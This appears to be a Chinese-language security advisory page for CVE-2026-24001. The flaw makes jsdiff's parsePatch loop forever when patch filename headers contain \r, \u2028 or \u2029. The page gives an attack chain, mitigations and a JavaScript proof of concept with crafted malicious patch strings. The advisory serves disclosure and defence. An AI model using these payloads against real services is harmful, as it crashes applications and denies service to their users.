IPBUF安全漏洞报告
English
CVE-2026-24001 CVSS 7.5 高危

CVE-2026-24001 jsdiff库parsePatch方法拒绝服务漏洞

披露日期: 2026-01-22

漏洞信息

漏洞编号
CVE-2026-24001
漏洞类型
拒绝服务 (DoS)
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
kpdecker/jsdiff

相关标签

拒绝服务DoS无限循环内存耗尽jsdiffJavaScriptNode.jsReDOSCVE-2026-24001

漏洞概述

jsdiff是一个JavaScript文本差异比对实现库,广泛用于前端和Node.js项目中处理文本diff操作。该漏洞存在于jsdiff库的parsePatch方法中,攻击者可以通过构造含有特殊行断字符(\r、\u2028、\u2029)的patch文件,使parsePatch方法进入无限循环,导致内存无限增长直至进程因内存耗尽而崩溃。由于触发漏洞所需的有效载荷较小,常规的大小限制无法提供有效防护。此外,即使应用本身生成的patch,如果用户能够控制文件名头,也可能导致漏洞被利用。applyPatch方法在以字符串形式传入patch时同样受影响,因为其内部调用了parsePatch进行解析。该漏洞CVSS评分7.5,属于高危级别,对可用性造成严重影响,攻击者无需认证即可远程触发。

技术细节

漏洞的根本原因在于parsePatch方法在解析patch文件时,对文件名头中的特殊行断字符\r(回车)、\u2028(行分隔符)和\u2029(段落分隔符)处理不当。这些字符在Unicode中属于行断字符,但在标准正则表达式处理中不会被识别为换行符,导致解析器无法正确识别行边界,从而陷入无限循环。具体来说,当patch文件名头包含这些字符时,解析器会不断尝试读取下一行,但由于无法正确识别行结束位置,循环条件永远无法满足,导致CPU持续空转且内存不断增长直至进程崩溃。此外还存在一个关联的ReDOS(正则表达式拒绝服务)漏洞,当这些特殊字符出现在patch头部(leading garbage)时,恶意构造的长度为n的patch头可导致parsePatch以O(n³)的时间复杂度进行解析,从而引发拒绝服务。攻击者只需构造一个包含特殊字符的小型patch文件即可触发漏洞,无需大量数据。

攻击链分析

STEP 1
步骤1
攻击者识别目标应用使用jsdiff库进行patch解析
STEP 2
步骤2
攻击者构造恶意patch文件,在文件名头中插入特殊行断字符\r、\u2028或\u2029
STEP 3
步骤3
攻击者将恶意patch通过用户输入、API接口或文件上传等方式传递给目标应用的parsePatch方法
STEP 4
步骤4
parsePatch方法因无法正确识别特殊行断字符而进入无限循环
STEP 5
步骤5
进程内存持续增长直至耗尽系统资源,导致应用崩溃,产生拒绝服务

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
const diff = require('jsdiff'); // PoC for CVE-2026-24001: Infinite loop in parsePatch // The patch header contains \u2028 (Line Separator) or \u2029 (Paragraph Separator) // which causes parsePatch to enter an infinite loop and exhaust memory. const maliciousPatch = `diff --git a/file\u2028.txt b/file\u2028.txt index 1234567..abcdef1 100644 --- a/file\u2028.txt +++ b/file\u2028.txt @@ -1,3 +1,3 @@ line1 -line2 +modified_line line3 `; // This will cause parsePatch to hang and consume memory indefinitely try { const result = diff.parsePatch(maliciousPatch); console.log('Parsed result:', result); } catch (e) { console.error('Error:', e.message); } // Alternative PoC using \r (Carriage Return) const maliciousPatchCR = `diff --git a/file\r.txt b/file\r.txt index 1234567..abcdef1 100644 --- a/file\r.txt +++ b/file\r.txt @@ -1,3 +1,3 @@ line1 -line2 +modified_line line3 `; // applyPatch is also affected when called with a string try { const result = diff.applyPatch(maliciousPatchCR); console.log('Applied result:', result); } catch (e) { console.error('Error:', e.message); }

影响范围

jsdiff < 8.0.3
jsdiff < 5.2.2
jsdiff < 4.0.4
jsdiff < 3.5.1

防御指南

临时缓解措施
如果无法立即升级到修复版本,可采取以下临时缓解措施:在调用parsePatch之前,对输入的patch字符串进行预检查,移除或拒绝包含\r、\u2028、\u2029字符的输入;为parsePatch调用添加超时限制;限制用户可控的patch文件名输入;对patch解析操作使用进程隔离和资源限制。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表